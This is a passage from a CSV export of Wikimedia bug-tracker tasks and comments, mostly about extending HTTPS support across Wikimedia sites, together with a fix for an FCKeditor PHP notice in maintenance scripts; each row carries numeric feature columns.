+When I checked earlier, the URL was HTTP, but was also 404.  I asked Philippe to fix it.",,,1321306369,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,False,,,-94,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1
+158938,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","Yes, someone has work on this. Thanks.",,,1321305957,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,False,,,-94,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+158930,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https",All images on that page are loading over SSL for me at present. Can you confirm?,,,1321300944,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,True,,,-94,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+34322,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Having FCKeditor installed, I get the following notice when I run the maintenance scripts:
+
+Notice: Undefined index: HTTP_USER_AGENT in extensions\FCKeditor\fckeditor\fckeditor_php5.php on line 37
+
+The file in question attempts to access $_SERVER['HTTP_USER_AGENT'] which is not set in command line mode.
+
+People have already asked for a fix in CKEditor itself, however the CKEditor guys say they will not fix this issue. See http://dev.ckeditor.com/ticket/6279
+
+I see no reason for FCKeditor to be loaded when running command line php scripts for mediawiki maintenance. 
+I propose to fix the issue in the MediaWiki extension by adding an early return, if we are in command line mode:
+
+At the beginning of FCKeditor\FCKeditor.php:
+<code>
+// There is no reason for FCKeditor to run in commandline mode.
+// Returning avoids breakage of scripts like dumpBackup.php.
+if ( isset($wgCommandLineMode) && $wgCommandLineMode )
+{
+    return; // Simply return from the include, so no FCKeditor code is run
+}
+</code>
+
+I am running MediaWiki 1.17 and the according released version of FCKeditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1320866820,1323819001.0,PHID-USER-lcqy7fyefr42fd2lpdne,False,,False,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_description,resolved,True,c2,1,False,False,True,-94,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+154623,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Hi Brion,
+
+yes, your patch solves the issue as well! Thank you! :-)",,,1323869954,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+154618,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Ok looks like the loader code is doing this:
+
+  // Initialize FCKeditor and the MediaWiki extension
+  $fckeditor = new FCKeditor('fake');
+  $wgFCKEditorIsCompatible = $fckeditor->IsCompatible();
+
+so...... that kinda defeats the purpose of a loader script not being supposed to execute stuff that might not work. ;)
+
+Lemme see if we can disable that....
+
+r106129 should do the job, seems to work for my testing. Joerg, can you confirm?",,,1323819001,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,True,,,-90,True,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+154611,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Shouldn't make a difference between 1.18 and earlier since it's a bug in the FCKEditor low-level classes, it looks like.
+
+These really shouldn't be getting invoked unless the editor is in use, though.... but I don't really want to mess around with its internals. ;)",,,1323818630,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,True,,,-90,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+154606,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Hi sumanah,
+
+thanks for the question. I was not yet able to install 1.18 to test this. I hope that other work in my wiki is completed during this week and that I can install 1.18 next weekend. I will definitely keep you updated here.",,,1323613139,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+154602,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","**sumanah** wrote:
+
+Joerg, just a quick question, does the problem still happen with MediaWiki 1.18?",,,1322776202,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+154600,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Created attachment 9404
+Patch for the issue
+
+I attached the patch.
+
+**Attached**: {F8381}",,,1320866932,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+34196,http links on File usage on other wikis,"When accessing commons via https, the ""File usage on other wikis"" section on a file page uses http links to the other projects.  These links should be https.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1320373440,1320395782.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-w4pif4hppayurj3rogjv,task_description,resolved,True,c2,1,True,False,True,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+156488,http links on File usage on other wikis,"**Bryan.TongMinh** wrote:
+
+
+
+%%%*** This bug has been marked as a duplicate of bug 32050 ***%%%",,,1320395782,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4pif4hppayurj3rogjv,task_subcomment,,True,c2,1,False,,,-95,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+34066,Allow HTTPS access on noc.wikimedia,"I am wondering whether it is by omission or purpose that http://noc.wikimedia.org/ does not have https:// available?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1320022080,1320205113.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-eywkkq7offsekzjpiede,task_description,resolved,True,c2,1,False,False,True,-96,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+157390,Allow HTTPS access on noc.wikimedia,"
+
+*** This bug has been marked as a duplicate of bug 23004 ***",,,1320205113,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-95,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+157383,Allow HTTPS access on noc.wikimedia,"Well, until you or I get time to do such a thing, individual bugs are fine.",,,1320109182,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+157377,Allow HTTPS access on noc.wikimedia,"(In reply to comment #8)
+> Please continue to submit bugs for services which are missing https.
+
+Are you sure individual bugs make sense here? Something more systematic seems saner.",,,1320109040,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,1
+157371,Allow HTTPS access on noc.wikimedia,"I don't think it's necessary to have this argument every time a bug is submitted for services that don't have https, so... For every service we have, if it is feasible to do https, we should do https.
+
+Please continue to submit bugs for services which are missing https.",,,1320084264,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+157365,Allow HTTPS access on noc.wikimedia,bug 23004,,,1320079977,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+157357,Allow HTTPS access on noc.wikimedia,"(In reply to comment #5)
+> Else, perhaps a more systematic approach can be taken? The large underlying
+> motivation to making the wikis support https is that there are user login
+> credentials being passed in headers. For noc.wikimedia.org, it's all public
+> files with no user auth, as far as I know. I'm not sure why it would need https
+> support.
+I believe it's our intention to support HTTPS for all of our domains, but I'll leave the authoritative answer to Ryan.",,,1320051321,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+157350,Allow HTTPS access on noc.wikimedia,"Quickly approaching a https://en.wikipedia.org/wiki/Zero_One_Infinity problem here. Either all *.wikimedia.org domains should support https or none should. Allowing an arbitrary set is a bad idea. History tells us this (similar issues have arisen with *.wikimedia.org login cookies).
+
+Else, perhaps a more systematic approach can be taken? The large underlying motivation to making the wikis support https is that there are user login credentials being passed in headers. For noc.wikimedia.org, it's all public files with no user auth, as far as I know. I'm not sure why it would need https support.",,,1320051179,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+157341,Allow HTTPS access on noc.wikimedia,Was also filed internally last week as RT #1798.,,,1320050605,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+157333,Allow HTTPS access on noc.wikimedia,"(In reply to comment #1)
+> Why does it really need it?
+
+Oh, and I did ask in #wikimedia-tech prior, and it was suggested that I add a request and to let the decision lie with ""those who make such decisions.""",,,1320024598,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+157324,Allow HTTPS access on noc.wikimedia,"(In reply to comment #1)
+> Why does it really need it?
+
+I was about requesting an interwiki link to the server to be added, and I presume that there is a requirement to note or configure relative urls or otherwise.  If that is not the case, okay; there is no information about to assist those of us who are clueless.",,,1320024459,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,1
+157315,Allow HTTPS access on noc.wikimedia,Why does it really need it?,,,1320022886,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0
+33537,notification emails should be able to use https links,"Since relative https URLs became possible a few days ago, i started using them for browsing Wikimedia projects. I intentionally logged out first and logged in again in https.
+
+Now when i get notification emails about user talk page update or code review, they contain links to http. If i click them, i appear logged out, and this is fine, because i indeed logged out of the http site.
+
+The email should link to https. If some users prefer http links, it can be a preference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1318098600,1318272375.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-e23y2pkauel6eefxkmhh,task_description,resolved,True,c2,1,False,False,True,-99,True,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+154854,notification emails should be able to use https links,"
+
+*** This bug has been marked as a duplicate of bug 29878 ***",,,1318272375,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-e23y2pkauel6eefxkmhh,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+33531,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,"Since secure server has changed, neither {{SERVER}} nor {{SERVERNAME}} provide a way to do this check. See [[MediaWiki:Loginend]] as a case.
+
+* {{SERVERPROTOCOL}} should return  → http  or  → https
+
+or, as an alternative proposal, it may be:
+
+* {{SECURESERVER| Text if secure | Text if normal }}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1318087980,1318092503.0,PHID-USER-l4qgeksgajdvxx7qacw3,False,,False,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_description,invalid,True,c2,1,False,False,True,-99,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+154583,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,";) then WP should use it, and this bug seams to be INVALID.",,,1318092503,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+154577,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,There already is [[MediaWiki:Loginend-https]],,,1318091855,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+154570,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,"Is the specific case for this for loginend?
+
+We do want to avoid people throwing {{SERVERPROTOCOL}} into random pages and other messages forcing the parser cache and squid cache to be fragmented.
+
+If the specific case for this is 'loginend' then perhaps instead of a magic word we could introduce a 'loginend-https' or 'loginend-secure' message.",,,1318089863,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+33437,https://www.mediawiki.org/xml/api/ shouldn't have links to http,"These are still hardcoded to http. Switch'em to protocol-relative urls instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1317920880,1317928473.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-idxwismxneo5lorhqr2e,task_description,resolved,True,c2,1,True,False,True,-99,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+147444,https://www.mediawiki.org/xml/api/ shouldn't have links to http,Both fixed.,,,1317928473,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-idxwismxneo5lorhqr2e,task_subcomment,,True,c2,1,False,,,-99,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+147439,https://www.mediawiki.org/xml/api/ shouldn't have links to http,"And linking to en.wikipedia instead of leaving on mediawiki.org is a bad idea, in my opinion.",,,1317928224,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-idxwismxneo5lorhqr2e,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+33432,Add a cookie-based preference which redirects all http requests to https,"Currently if a user is logging in on https page, when he's coming to Wikipedia by following a link on a 3rd website which points to http version, the page will be in unlogged in state. If he failed to realize this and edited page, his Wikipedia page browsing history and IP address may be leaked. If he realized this, he have to change http to https again and again (unless he's using a 3rd party browser extension).
+
+There can be a resolution: when a user is logging in on https page, set a insecure cookie which says ""redirect me to https page"", and clear it when he's logging out. In this way, the only disadvantage I can see is one more request and the info for a possible attacker: there's a logged in user at this IP reading this page by following some link on this website.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1317915600,1319548790.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-wobfyl6qtbnuqrl7okch,task_description,resolved,True,c2,1,False,False,True,-99,True,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+147205,Add a cookie-based preference which redirects all http requests to https,"(In reply to comment #1)
+> This is related to, if not a duplicate of, bug 29898.
+Duping and copying relevant information over.
+
+*** This bug has been marked as a duplicate of bug 29898 ***",,,1319548790,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wobfyl6qtbnuqrl7okch,task_subcomment,,True,c2,1,False,,,-97,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1
+147200,Add a cookie-based preference which redirects all http requests to https,"This is related to, if not a duplicate of, bug 29898.",,,1318006974,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wobfyl6qtbnuqrl7okch,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+33390,https on mobile,"Tracking ticket for https on mobile. Reference ticket on ops private tracker : http://rt.wikimedia.org/Ticket/Display.html?id=1662
+
+--------------------------
+**Version**: --
+**Severity**: normal",Needs Triage,90.0,1317841500,1317842278.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-63bywpet2xftuxygowkq,task_description,resolved,True,c2,1,False,False,True,-99,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+144144,https on mobile,"
+
+*** This bug has been marked as a duplicate of bug 31333 ***",,,1317842278,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-63bywpet2xftuxygowkq,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+33375,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,"**Author:** `M8R-udfkkf`
+
+**Description:**
